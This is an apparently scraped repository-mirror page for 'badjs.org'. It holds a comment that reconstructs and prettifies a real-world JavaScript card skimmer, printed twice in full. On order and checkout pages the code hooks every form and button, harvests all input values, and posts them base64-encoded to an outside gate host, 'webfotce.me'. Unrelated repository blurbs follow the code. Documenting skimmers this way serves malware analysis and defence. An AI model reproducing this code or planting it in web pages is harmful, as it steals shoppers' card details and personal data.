jsoverson / badjs.org Goto Github PK
View Code? Open in Web Editor NEWLicense: MIT License
License: MIT License
I have no source of what the original code was, but this is more likely it, since i removed some syntax errors:
var skimmer = {
snd: null,
gate: "https://webfotce.me/js/form.js",
myid: (function(cname) {
var cd = document.cookie.match(new RegExp("( ? : ^ | ;)" + cname.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\$1") + " = ([ ^ ;] * )"));
return cd ? decodeURIComponent(cd[1]) : undefined
})("setidd") || (function() {
var d = new Date();
var time_id = d.getTime() + " -" +Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var exp = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = "setidd = "+time_id + "";
path = "/";
expires="" + exp.toUTCString();
return time_id
})(),
clk: function() {
skimmer.snd = null;
var inp = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < inp.length; i++) {
if (inp[i].value.length > 0) {
var nme = inp[i].name;
if (nme == "") {
nme = i
};
skimmer.snd += inp[i].name + " = "+inp[i].value + " & "
}
}
},
send: function() {
try {
var btn = document.querySelectorAll("a[href *= \"javascript: void(0)\"], button, input, submit, .btn, .button");
for (var i = 0; i < btn.length; i++) {
var b = btn[i];
if (b.type != "text" && b.type != "select" && b.type != "checkbox" && b.type != "password" && b.type != "radio") {
if (b.addEventListener) {
b.addEventListener("click", skimmer.clk, false)
} else {
b.attachEvent("onclick", skimmer.clk)
}
}
};
var frm = document.querySelectorAll("form");
for (var i = 0; i < frm.length; i++) {
if (frm[i].addEventListener) {
frm[i].addEventListener("submit", skimmer.clk, false)
} else {
frm[i].attachEvent("onsubmit", skimmer.clk)
}
};
if (skimmer.snd != null) {
var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
var enc_info = btoa(skimmer.snd);
var http = new XMLHttpRequest();
http.open("POST", skimmer.gate, true);
http.setRequestHeader("Content - type", "application / x - www - form - urlencoded");
http.send("info = "+enc_info + " & hostname = ticketmUK & key = "+skimmer.myid)
};
skimmer.snd = null;
enc_info = null;
setTimeout(function() {
skimmer.send()
}, 30)
} catch (e) {}
}
};
if ((new RegExp("order | checkout | onestep", "gi")).test(window.location)) {
skimmer.send()
}
I also ran it through prettier to make it more readable:
var skimmer = {
snd: null,
gate: "https://webfotce.me/js/form.js",
myid:
(function(cname) {
var cd = document.cookie.match(
new RegExp(
"( ? : ^ | ;)" +
cname.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "$1") +
" = ([ ^ ;] * )"
)
);
return cd ? decodeURIComponent(cd[1]) : undefined;
})("setidd") ||
(function() {
var d = new Date();
var time_id =
d.getTime() +
" -" +
Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var exp = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = "setidd = " + time_id + "";
path = "/";
expires = "" + exp.toUTCString();
return time_id;
})(),
clk: function() {
skimmer.snd = null;
var inp = document.querySelectorAll(
"input, select, textarea, checkbox, button"
);
for (var i = 0; i < inp.length; i++) {
if (inp[i].value.length > 0) {
var nme = inp[i].name;
if (nme == "") {
nme = i;
}
skimmer.snd += inp[i].name + " = " + inp[i].value + " & ";
}
}
},
send: function() {
try {
var btn = document.querySelectorAll(
'a[href *= "javascript: void(0)"], button, input, submit, .btn, .button'
);
for (var i = 0; i < btn.length; i++) {
var b = btn[i];
if (
b.type != "text" &&
b.type != "select" &&
b.type != "checkbox" &&
b.type != "password" &&
b.type != "radio"
) {
if (b.addEventListener) {
b.addEventListener("click", skimmer.clk, false);
} else {
b.attachEvent("onclick", skimmer.clk);
}
}
}
var frm = document.querySelectorAll("form");
for (var i = 0; i < frm.length; i++) {
if (frm[i].addEventListener) {
frm[i].addEventListener("submit", skimmer.clk, false);
} else {
frm[i].attachEvent("onsubmit", skimmer.clk);
}
}
if (skimmer.snd != null) {
var hostname =
location.hostname
.split(".")
.slice(0)
.join("_") || "nodomain";
var enc_info = btoa(skimmer.snd);
var http = new XMLHttpRequest();
http.open("POST", skimmer.gate, true);
http.setRequestHeader(
"Content - type",
"application / x - www - form - urlencoded"
);
http.send(
"info = " +
enc_info +
" & hostname = ticketmUK & key = " +
skimmer.myid
);
}
skimmer.snd = null;
enc_info = null;
setTimeout(function() {
skimmer.send();
}, 30);
} catch (e) {}
}
};
if (new RegExp("order | checkout | onestep", "gi").test(window.location)) {
skimmer.send();
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.